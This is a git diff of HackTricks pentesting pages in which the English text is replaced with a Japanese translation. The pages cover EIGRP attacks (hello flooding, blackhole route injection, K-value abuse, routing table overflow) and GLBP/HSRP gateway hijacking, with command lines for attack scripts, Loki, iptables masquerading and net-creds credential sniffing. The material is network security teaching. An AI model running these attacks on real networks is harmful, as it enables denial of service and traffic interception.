-> **However, don’t forget that the EIGRP routing domain can be protected by authentication. But you still have a chance to connect to the routing domain. When hello packets are sent out, they also contain cryptographic hashes. If you can extract these hashes from the traffic dump and reset the password, you can log on to the routing domain with this password.** +> **ただし、EIGRPルーティングドメインは認証によって保護される可能性があることを忘れないでください。ただし、ルーティングドメインに接続するチャンスはまだあります。ハローパケットが送信されるとき、それらには暗号ハッシュも含まれています。トラフィックダンプからこれらのハッシュを抽出し、パスワードをリセットすることができれば、このパスワードでルーティングドメインにログインできます。** -Go to global configuration mode and start the **EIGRP** process, specify the autonomous system number — **1** - -And we also need to declare the network we are in. We are at 10.10.100.0/24. My address is 10.10.100.50/32 +グローバル設定モードに移動し、**EIGRP**プロセスを開始します。自律システム番号を指定します - **1** +また、私たちがいるネットワークも宣言する必要があります。私たちは10.10.100.0/24にいます。私のアドレスは10.10.100.50/32です。 ``` Inguz# configInguz(config)# router eigrp 1Inguz(config-router) network 10.10.100.50/32 ``` +その後、正当なEIGRPルーター間のネイバーリングが確立されます。私のネットワークには2つのルーターがあります: -After that, the neighborhood between the legitimate EIGRP routers is established. There are two of them on my network: +- **GW1(10.10.100.100)** +- **GW2(10.10.100.200)** -* **GW1 (10.10.100.100)** -* **GW2 (10.10.100.200)** - -EIGRP Neighborship with GW1 (10.10.100.100): +GW1(10.10.100.100)とのEIGRPネイバーリング:
-EIGRP Neighborship with GW2 (10.10.100.200): +GW2(10.10.100.200)とのEIGRPネイバーリング:
-During the establishment and maintenance of the neighborhood between EIGRP routers, routers exchange their routing information. After the neighborhood is established, new routes will appear in our routing table of the attacking system, namely: +EIGRPルーター間のネイバーリングの確立と維持中、ルーターはルーティング情報を交換します。ネイバーリングが確立された後、攻撃システムのルーティングテーブルに新しいルートが表示されます。具体的には: -* **10.1.239.0/24 via 10.10.100.100;** -* **30.30.30.0/24 via 10.10.100.100;** -* **100.100.100.0/24 via 10.10.100.100;** -* **172.16.100.0/24 via 10.10.100.200** +- **10.1.239.0/24は10.10.100.100を経由して;** +- **30.30.30.0/24は10.10.100.100を経由して;** +- **100.100.100.0/24は10.10.100.100を経由して;** +- **172.16.100.0/24は10.10.100.200を経由して**
-Thus, after establishing the neighborhood, we know about the existence of these subnets, which makes it easier for us to pentest and save time. We can do without additional subnet scanning. Now we are in the EIGRP routing domain and we can develop some attack vectors. Let’s talk about them. +したがって、ネイバーリングが確立された後、これらのサブネットの存在を知ることができます。これにより、サブネットのスキャンなしでペントテストを行うことができ、時間を節約することができます。これでEIGRPルーティングドメインにいますので、いくつかの攻撃ベクトルを開発することができます。それについて話しましょう。 -### Fake EIGRP Neighbors +### 偽のEIGRPネイバー -**I have found that generating and quickly sending out mass EIGRP hello packets overloads the router’s CPU, which in turn can open the door to a DoS attack.** I have developed a little [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py) \*\*\*\* script, but it seems to me that the script lacks the speed of sending out the packets. **It’s caused by GIL**, which prevents the **sprayhello** function from running in multiple threads per second. **Eventually I’ll rewrite the script in C.** +**大量のEIGRPハローパケットを生成して迅速に送信することで、ルーターのCPUを過負荷にすることができ、それによりDoS攻撃の可能性が開かれます。**私は少しの[**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py)スクリプトを開発しましたが、パケットの送信速度が足りないように思えます。これはGILによるもので、**sprayhello**関数が秒間複数のスレッドで実行されないためです。**最終的にはCでスクリプトを書き直す予定です。**
-Arguments of the script: - -* **Interface of the attacking system (eth0);** -* **EIGRP autonomous system number (1);** -* **Subnet where the attacking system is located. In my case, the subnet is 10.10.100.0/24** +スクリプトの引数: +- **攻撃システムのインターフェース(eth0);** +- **EIGRP自律システム番号(1);** +- **攻撃システムが存在するサブネット。私の場合、サブネットは10.10.100.0/24です** ``` ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 ``` -
-### EIGRP Blackhole +### EIGRPブラックホール -The essence of this attack is a simple injection of a false route that will poison the routing table. Traffic to, **say, the** `10.10.100.0/24` **network will go nowhere, causing a denial of service. Such an attack is called a Blackhole.** The script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) \*\*\*\* will be the tool used to perform it. For this example, I will send traffic destined for host `172.16.100.140/32` to the black hole. +この攻撃の本質は、ルーティングテーブルを毒化する偽のルートの単純なインジェクションです。**例えば、`10.10.100.0/24`ネットワークへのトラフィックはどこにも行かず、サービス拒否を引き起こします。このような攻撃はブラックホールと呼ばれます。**この攻撃を実行するために使用されるツールは、[**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py)です。この例では、ホスト`172.16.100.140/32`へのトラフィックをブラックホールに送信します。
-Arguments of the script: - -* **interface of the attacking system** -* **EIGRP AS number** -* **IP address of the attacker** -* **IP address of the target subnet whose traffic will be sent to the black hole** -* **target subnet mask** +スクリプトの引数: +* **攻撃システムのインターフェース** +* **EIGRP AS番号** +* **攻撃者のIPアドレス** +* **トラフィックがブラックホールに送信されるターゲットサブネットのIPアドレス** +* **ターゲットサブネットのサブネットマスク** ``` ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 ``` -
-**Our host seems to be in trouble :)** +**私たちのホストはトラブルに見舞われているようです :)**
-As you can see, the host loses connectivity to host **172.16.100.140/32** due to route injection. +ご覧の通り、ホストは**172.16.100.140/32**への接続性をルートインジェクションによって失っています。 -### Abusing K-Values +### K-Valuesの乱用 -To establish EIGRP neighbors, **routers use special K-values.** They must be the same among all EIGRP neighbors. If at least one K-value does not match, the EIGRP domain will crash and the neighborhood will be broken. We will use [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) \*\*\*\* to perform this attack\*\*.\*\* +EIGRPの隣接関係を確立するために、**ルーターは特別なK-Valuesを使用します。**これらはすべてのEIGRPの隣接関係で同じでなければなりません。少なくとも1つのK-Valueが一致しない場合、EIGRPドメインはクラッシュし、隣接関係が壊れます。この攻撃を実行するために、[**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py)を使用します\*\*.\*\*
-Script arguments: +スクリプトの引数: -* **network interface** -* **EIGRP AS number** -* **IP Address of legitimate router** - -**On behalf of the specified IP and will be sent an inject on the multicast EIGRP IP address, in which the K-values are different.** In my case, I will break the neighborhood on behalf of router GW1 **(address is 10.10.100.100)**. +* **ネットワークインターフェース** +* **EIGRP AS番号** +* **正規のルーターのIPアドレス** +**指定されたIPの代わりに、異なるK-Valuesが含まれるマルチキャストEIGRP IPアドレスにインジェクトが送信されます。**私の場合、ルーターGW1の代わりにネイバーフッドを壊します **(アドレスは10.10.100.100です)**。 ``` ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 ``` +

隣接障害発生時のトラフィックのダンプ

-

Dump of traffic during a neighborhood disruption

+

GW1ルーターがEIGRPを切断し続ける

-

GW1 router endlessly disconnects and reconnects EIGRP

+**この方法でDoS攻撃が行われることがあります。操作中には、切断と隣接試行が絶え間なく発生し、EIGRPルーティングドメインの一部が麻痺します。** -**A DoS attack can be carried out in this way. During operation, endless breakups and neighborhood attempts occur, paralyzing part of the EIGRP routing domain.** +### ルーティングテーブルのオーバーフロー -### Routing table overflow - -The essence of this attack is to provoke the sending of a huge number of false routes, which will overflow the routing table. This depletes the computing resources of the router, namely the CPU and RAM, since the injections occur at enormous speed. This attack is implemented [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py) **script** +この攻撃の本質は、大量の偽のルートを送信させ、ルーティングテーブルをオーバーフローさせることです。これにより、ルーターの計算リソースであるCPUとRAMが枯渇します。なぜなら、インジェクションは非常に高速に行われるからです。この攻撃は[**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py) **スクリプト**で実装されます。
-Script arguments - -* **network interface** -* **EIGRP AS Number** -* **Attacker’s IP address** +スクリプトの引数 +* **ネットワークインターフェース** +* **EIGRP AS番号** +* **攻撃者のIPアドレス** ``` in9uz@Inguz:~$ sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 ``` +スクリプトを実行すると、ルーティングテーブルがルートで溢れ始めます。ターゲットネットワークのランダムなアドレスは、[Scapy](https://github.com/secdev/scapy)の**RandIP()**の使用によるものです。 -After running the script, the routing table starts overflowing with routes. The random addresses of the target networks are due to the use of **RandIP()** in [**Scapy**](https://github.com/secdev/scapy). +

GW1ルーターでのルーティングテーブルのオーバーフロー

-

Routing table overflows on GW1 router

- -

Overloaded router CPU

+

過負荷のルーターCPU

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 14091e408..38b26d06e 100644 --- a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -1,279 +1,250 @@ -# GLBP & HSRP Attacks +# GLBP & HSRP 攻撃
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-**This pages was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\* +**このページは** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) **からコピーされました。** -## FHRP Hijacking +## FHRP ハイジャッキング -### What is FHRP? +### FHRP とは? -FHRP (First Hop Redundancy Protocol) is a class of network protocols designed to create a hot redundant routing system. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. +FHRP(First Hop Redundancy Protocol)は、ネットワークプロトコルのクラスであり、冗長なルーティングシステムを作成するために設計されています。FHRPを使用すると、物理ルータを1つの論理デバイスに組み合わせることができ、信頼性を向上させ、負荷を分散するのに役立ちます。 -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP, which I will demonstrate next.** +**Cisco Systems のエンジニアは、GLBP と HSRP の2つの FHRP プロトコルを開発しました。次にデモンストレーションします。** -### GLBP Protocol +### GLBP プロトコル -**Developed by Cisco Systems engineers.** Like HSRP, this protocol is implemented on top of TCP/IP protocol stack, that’s why UDP transport layer protocol under port number 3222 is used for translation of service information. GLBP routers within the same logical group exchange special “hello” packets every 3 seconds, but if within 10 seconds a GLBP router within the same group has not received a hello packet from its GLBP neighbor, it recognizes it as “dead”. However, the timer values can be configured depending on the administrator’s needs. +**Cisco Systems のエンジニアによって開発されました。** HSRP と同様に、このプロトコルは TCP/IP プロトコルスタックの上に実装されています。そのため、サービス情報の変換にはポート番号 3222 の UDP トランスポート層プロトコルが使用されます。GLBP ルータは同じ論理グループ内で特別な「ハロー」パケットを3秒ごとに交換しますが、10秒以内に同じグループの GLBP ルータからハローパケットを受信しなかった場合、それを「死んだ」と認識します。ただし、タイマーの値は管理者のニーズに応じて設定することができます。 -### The skeleton and mechanics of GLBP +### GLBP の骨組みと仕組み -GLBP provides load sharing to multiple routers (gateways) using one virtual IP address and multiple virtual MAC addresses. Each host is configured with the same virtual IP address and all routers in the virtual group participate in packet transmission. +GLBP は、1つの仮想 IP アドレスと複数の仮想 MAC アドレスを使用して、複数のルータ(ゲートウェイ)に負荷を分散します。各ホストは同じ仮想 IP アドレスで構成され、仮想グループ内のすべてのルータがパケットの送信に参加します。 -Works much differently with the HSRP and VRRP protocols because it uses true load balancing mechanisms, I will denote below: +HSRP および VRRP プロトコルとは異なる方法で動作します。真の負荷分散メカニズムを使用するため、以下に示します。 -**Host-Dependent.** A type of load balancing used on a network where there is NAT. Host-Dependent guarantees the fact that the host will get back the same MAC address of the AVF device which was used at an earlier point in time, thus the NAT configured to the host will not be broken. +**ホスト依存。** NAT が存在するネットワークで使用される負荷分散の一種。ホスト依存は、ホストが以前に使用された AVF デバイスの同じ MAC アドレスを取得することを保証し、ホストへの設定された NAT が壊れないことを保証します。 -**Round-Robin.** In this mode, the AVG device distributes MAC addresses to AVF members alternately. This is the mechanism used by default. +**ラウンドロビン。** このモードでは、AVG デバイスが交互に AVF メンバーに MAC アドレスを配布します。これはデフォルトで使用されるメカニズムです。 -**Weight-based round-robin**. Load balancing based on a special “Weight” metric +**重みベースのラウンドロビン**。特別な「重み」メトリックに基づく負荷分散 -### Roles in the GLBP domain & Terminology +### GLBP ドメインの役割と用語 -**AVG (Active Virtual Gateway)** — the router with the leading role is also responsible for distributing MAC addresses to other routers within the same GLBP group. A kind of “boss” in the GLBP domain. AVG tells the other routers how to distribute traffic by handing out MAC addresses when an ARP request arrives. It is worth noting that there can only be one AVG router in a GLBP domain, but it can also be an AVF member. +**AVG(Active Virtual Gateway)** - リーダーの役割を持つルータであり、同じ GLBP グループ内の他のルータに MAC アドレスを配布する責任もあります。GLBP ドメイン内の「ボス」のような存在です。ARP リクエストが到着すると、AVG は他のルータにトラフィックをどのように分散するかを伝えるために MAC アドレスを配布します。GLBP ドメインには AVG ルータが1つしか存在できませんが、AVF メンバーでもあることができます。 -**AVF (Active Virtual Forwarder)** — a router in a GLBP group handling traffic in the network. +**AVF(Active Virtual Forwarder)** - ネットワーク内でトラフィックを処理する GLBP グループのルータです。 -**GLBP Priority** — The priority value that determines which router in the GLBP group will be the AVG. The default value is 100 (the priority range can be from 1 to 255). It can be set manually, i.e. the network engineer himself determines which router will be the “superior” and which will be the “slave”. The higher the priority, the more likely the router will get the AVG role. Usually the AVG role is given to more powerful routers. +**GLBP 優先度** - GLBP グループ内のどのルータが AVG になるかを決定する優先度値です。デフォルト値は100です(優先度の範囲は1から255までです)。手動で設定することもできます。つまり、ネットワークエンジニア自身が「上位」のルータと「スレーブ」のルータを決定します。優先度が高いほど、ルータが AVG の役割を得る可能性が高くなります。通常、AVG の役割はより強力なルータに与えられます。 -**GLBP Weight** — The value of the so-called GLBP Weight of a router in a GLBP group. GLBP Weight defines the load level of the router. This value is “floating” and can vary depending on the load on the physical channel (the Object Tracking mechanism is involved), but it can also be configured manually. +**GLBP ウェイト** - GLBP グループのルータの GLBP ウェイトと呼ばれる値。GLBP ウェイトはルータの負荷レベルを定義します。この値は「浮動的」であり、物理チャネルの負荷に応じて変動することができます(オブジェクトトラッキングメカニズムが関与します)、しかし、手動で設定することもできます。 -**GLBP Virtual IP Address** — the virtual IP address in the GLBP domain. Used as the default gateway address for legitimate hosts. +**GLBP 仮想 IP アドレス** - GLBP ドメイン内の仮想 IP アドレス。正当なホストのデフォルトゲートウェイアドレスとして使用されます。 -GLBP uses the reserved group mailing IP address **224.0.0.102** and the UDP transport layer protocol port number **3222** to send and process service information. Special GLBP Hello packets are sent every **3 seconds.** If the GLBP router has not received a hello packet from a neighbor within **10 seconds**, the neighbor will be considered “dead” and will drop out of the GLBP domain. +GLBP は予約されたグループメーリング IP アドレス **224.0.0.102** と UDP トランスポート層プロトコルポート番号 **3222** を使用してサービス情報を送信および処理します。特別な GLBP ハローパケットは **3秒ごと** に送信されます。GLBP ルータが隣接するルータから **10秒以内** にハローパケットを受信しなかった場合、隣接ルータは「死んだ」と見なされ、GLBP ドメインから削除されます。 +### GLBP攻撃メカニズム -### GLBP Attack Mechanism - -The technique of this network attack is to impose your device as the main router **by injecting a malicious GLBP packet with a maximum priority value.** **Successful exploitation leads to a DoS or MITM attack in which you can intercept traffic within the network, conduct a redirect, or cause a DoS as you take over the role of AVG router.** All you have to do is build a GLBP packet with the highest priority value of 255 and direct it towards the local network. +このネットワーク攻撃の技術は、**最大優先度値を持つ悪意のあるGLBPパケットを注入することにより、自分のデバイスをメインルーターとして押し付ける**ことです。**成功した攻撃は、ネットワーク内のトラフィックを傍受したり、リダイレクトを行ったり、AVGルーターの役割を引き継ぐことでDoS攻撃やMITM攻撃を引き起こすことができます。**必要なのは、最高優先度値255を持つGLBPパケットを構築し、ローカルネットワークに向けて送信するだけです。
-### GLBP Injection (Loki) +### GLBPインジェクション(Loki) -To demonstrate this attack, I will use [**Loki**](https://github.com/raizo62/loki\_on\_kali). It will perform a malicious GLBP injection with a maximum priority value of 255 and a maximum weight value of 255. But before performing the attack, the following information needs to be examined: +この攻撃をデモンストレーションするために、[**Loki**](https://github.com/raizo62/loki\_on\_kali)を使用します。これにより、最大優先度値255と最大ウェイト値255を持つ悪意のあるGLBPインジェクションが実行されます。ただし、攻撃を実行する前に、次の情報を調査する必要があります: -* **The virtual IP address used in the GLBP domain** -* **availability of authentication** -* **Value of router priorities** +* **GLBPドメインで使用される仮想IPアドレス** +* **認証の可用性** +* **ルーターの優先度の値** -We will be able to extract this information by analyzing GLBP traffic. We will use **Wireshark**. +これらの情報は、GLBPトラフィックを分析することで抽出することができます。**Wireshark**を使用します。 -As we see, only two routers are involved in the GLBP process: **10.10.100.100 and 10.10.100.200.** +見てわかるように、GLBPプロセスには2つのルーターのみが関与しています:**10.10.100.100と10.10.100.200**。 -

GLBP Ads

+

GLBP広告

-

GLBP Advertisement from first router

+

最初のルーターからのGLBP広告

-After analyzing GLBP traffic we have the following: +GLBPトラフィックを分析した結果、次のことがわかります: -* **A misconfiguration was detected within the priority setting. AVG router is considered a GLBP router with priority 200, i.e. we have a vector for GLBP hijacking** -* **no authentication** -* **The virtual IP address used in the GLBP domain is 10.10.100.254** +* **優先度設定において設定ミスが検出されました。AVGルーターは優先度200のGLBPルーターと見なされるため、GLBPハイジャックのためのベクターが存在します** +* **認証なし** +* **GLBPドメインで使用される仮想IPアドレスは10.10.100.254です** -With this information, **we can easily attack GLBP.** +この情報を元に、**簡単にGLBPを攻撃することができます**。 -

Loki found GLBP ads from two routers

- -Before the attack, **switch to promiscious mode and allow traffic routing:** +

Lokiが2つのルーターからGLBP広告を見つけました

+攻撃を行う前に、**プロミスキャスモードに切り替えてトラフィックルーティングを許可してください:** ``` ~$ sudo ip link set eth0 promisc on ~$ sudo sysctl -w net.ipv4.ip_forward=1 ``` - -Select the router at IP address **10.10.100.100** and activate the **Get IP** option. You also need to generate a **Gratuitous ARP.** +次の手順で、IPアドレス**10.10.100.100**のルーターを選択し、**Get IP**オプションを有効にします。また、**Gratuitous ARP**を生成する必要があります。
-

The structure of a malicious GLBP injection

+

悪意のあるGLBPインジェクションの構造

-As you can see, the AVG router is now pretending to be an attacking system. **The priority value is 255, the weight value is 255, i.e. the maximum.** +ご覧の通り、AVGルーターは攻撃システムを装っています。**優先値は255で、重み値も255です。つまり、最大値です。** -**After performing the injection we need to create a secondary IP address on our network interface with the value of the virtual IP address in the GLBP domain. You also need to set a 24-bit mask.** - -**This way legitimate traffic will be looped back to us, because the virtual IP address used in the GLBP domain is the default gateway address for hosts:** +**インジェクションを実行した後、GLBPドメインの仮想IPアドレスの値でネットワークインターフェースにセカンダリIPアドレスを作成する必要があります。また、24ビットのマスクを設定する必要もあります。** +**これにより、正規のトラフィックは私たちにループバックされます。なぜなら、GLBPドメインで使用される仮想IPアドレスはホストのデフォルトゲートウェイアドレスだからです:** ``` ~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 ``` - -To see not only incoming traffic but also outgoing traffic, we need a small rule for **SNAT (masquerading):** - +**SNAT (マスカレーディング) のための小さなルール**を作成することで、着信トラフィックだけでなく送信トラフィックも表示することができます。 ``` ~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` - -**We also need to remove the default route on our machine and write a new one which will go through the former AVG router** **(address is 10.10.100.100).** Even though we have hijacked the AVG role from the router, it will still be able to route traffic. - +**私たちは、マシン上のデフォルトルートを削除し、新しいルートを書く必要があります。この新しいルートは、以前のAVGルーター(アドレスは10.10.100.100)を経由します。** ルーターからAVGの役割を乗っ取ったとしても、それはまだトラフィックをルーティングすることができます。 ``` ~$ sudo route del default ~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` - -That’s it, **we are now the “man in the middle”!** I will run the tool [**net-creds.py**](https://github.com/DanMcInerney/net-creds) to analyze the traffic to look for important data. **For example, unencrypted FTP traffic or NTLM hashes.** - +それで、**私たちは今、「中間者」となりました!** 重要なデータを探すために、トラフィックを分析するためにツール[**net-creds.py**](https://github.com/DanMcInerney/net-creds)を実行します。 **例えば、暗号化されていないFTPトラフィックやNTLMハッシュなどです。** ``` ~$ sudo python2 net-creds.py -i eth0 ``` - -After running the utility, I will try to read the SMB share with the IP address **172.16.100.70**, which is behind the GLBP routers. - +ユーティリティを実行した後、GLBPルーターの背後にあるIPアドレス**172.16.100.70**のSMB共有を読み取ろうとします。 ``` user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy ``` -
-**This is how you can intercept traffic within the network by attacking GLBP domains.** +**ネットワーク内のトラフィックを傍受する方法は、GLBPドメインを攻撃することです。** -### HSRP Hijacking +### HSRPハイジャッキング -**HSRP (Hot Standby Router/Redundancy Protocol) —** is a Cisco proprietary protocol that allows for network gateway redundancy. The general idea is to combine several physical routers into one logical router with a common IP address. This address of the virtual router will be assigned to the interface of the router with the master role, and the latter, in its turn, will take care of traffic forwarding. In the HSRP domain, the task of handling all traffic falls precisely on the router with the primary role, unlike GLBP, where load balancing by using special metrics (priority and weight) was proposed. +**HSRP(Hot Standby Router/Redundancy Protocol)**は、ネットワークゲートウェイの冗長性を提供するためのCisco独自のプロトコルです。一般的なアイデアは、複数の物理ルータを1つの論理ルータに組み合わせ、共通のIPアドレスを持つものとして扱うことです。仮想ルータのアドレスは、マスター役割を持つルータのインターフェースに割り当てられ、後者はトラフィックの転送を担当します。HSRPドメインでは、トラフィックの処理は主にプライマリ役割を持つルータによって行われます。これはGLBPとは異なり、特殊なメトリック(優先度と重み)を使用して負荷分散が提案されたプロトコルです。 -### Roles in the HSRP domain & terminology +### HSRPドメインの役割と用語 -**HSRP Active Router** — a device that acts as a virtual router and provides forwarding of traffic from source networks to destination networks.\ -**HSRP Standby Router** — a device that acts as a standby router, waiting for the active router to fail. When the primary Active router fails, the Standby router will take over the primary role and take over the duties of the Active router.\ -**HSRP Group** — a group of devices that ensures the operation and fault tolerance of a logical router.\ -**HSRP MAC Address** — the virtual MAC address of the logical router in the HSRP domain.\ -**HSRP Virtual IP Address** — This is a special virtual IP address in the HSRP group. This IP address will be the default gateway for the end hosts, used on the logical router itself. +**HSRPアクティブルータ** - ソースネットワークから宛先ネットワークへのトラフィックの転送を提供する仮想ルータとして機能するデバイスです。\ +**HSRPスタンバイルータ** - アクティブルータの故障を待ち、アクティブルータの役割を引き継ぎます。プライマリアクティブルータが故障した場合、スタンバイルータはプライマリ役割を引き継ぎ、アクティブルータの役割を引き継ぎます。\ +**HSRPグループ** - 論理ルータの動作と耐障害性を確保するデバイスのグループです。\ +**HSRP MACアドレス** - HSRPドメイン内の論理ルータの仮想MACアドレスです。\ +**HSRP仮想IPアドレス** - HSRPグループ内で使用される特別な仮想IPアドレスです。このIPアドレスはエンドホストのデフォルトゲートウェイとして使用され、論理ルータ自体で使用されます。 -### HSRP protocol versions +### HSRPプロトコルのバージョン -The HSRP protocol has two versions — HSRPv1 and HSRPv2. They differ in the following parameters: +HSRPプロトコルにはHSRPv1とHSRPv2の2つのバージョンがあります。これらは以下のパラメータで異なります。 -* **The number of possible logical groups.** HSRPv1 can have up to 255 groups. HSRPv2 can have up to 4096 groups -* **Multicast IP address.** HSRPv1 uses IP address **224.0.0.2** to send service information, and HSRPv2 uses **224.0.0.102** -* **Virtual MAC address.** HSRPv1 uses **00:00:0C:07:AC:XX** as its virtual MAC address. HSRPv2 has a virtual MAC address of **00:00:0C:9F:FX:XX** (where XX is the HSRP group number) +* **可能な論理グループの数。** HSRPv1は最大255グループを持つことができます。HSRPv2は最大4096グループを持つことができます。 +* **マルチキャストIPアドレス。** HSRPv1はサービス情報を送信するためにIPアドレス**224.0.0.2**を使用し、HSRPv2は**224.0.0.102**を使用します。 +* **仮想MACアドレス。** HSRPv1は仮想MACアドレスとして**00:00:0C:07:AC:XX**を使用します。HSRPv2は仮想MACアドレスとして**00:00:0C:9F:FX:XX**を使用します(XXはHSRPグループ番号です)。 -HSRP uses the reserved IP address **224.0.0.2** or **224.0.0.102** (depending on the HSRP version) and the UDP transport layer protocol with port number **1985** to broadcast and process the service information. Special HSRP Hello packets are sent **every 3 seconds.** If the HSRP router does not receive a hello packet from a neighbor **within 10 seconds**, the neighbor will be considered “dead” and will drop out of the HSRP domain. +HSRPは予約されたIPアドレス**224.0.0.2**または**224.0.0.102**(HSRPバージョンによって異なる)と、UDPトランスポート層プロトコルを使用し、ポート番号**1985**でサービス情報をブロードキャストおよび処理します。特別なHSRPハローパケットは**3秒ごとに**送信されます。HSRPルータが隣接ルータから**10秒以内にハローパケットを受信しない**場合、隣接ルータは「ダウン」と見なされ、HSRPドメインから削除されます。 -### HSRP Attack Mechanism +### HSRP攻撃のメカニズム -**This is exactly the same as GLBP Hijacking. We need to perform a malicious HSRP injection with a maximum priority value of 255.** This allows us to hijack the role of the Active router, opening the door to a **MITM** attack. But again, we need to examine the following information before conducting the attack: 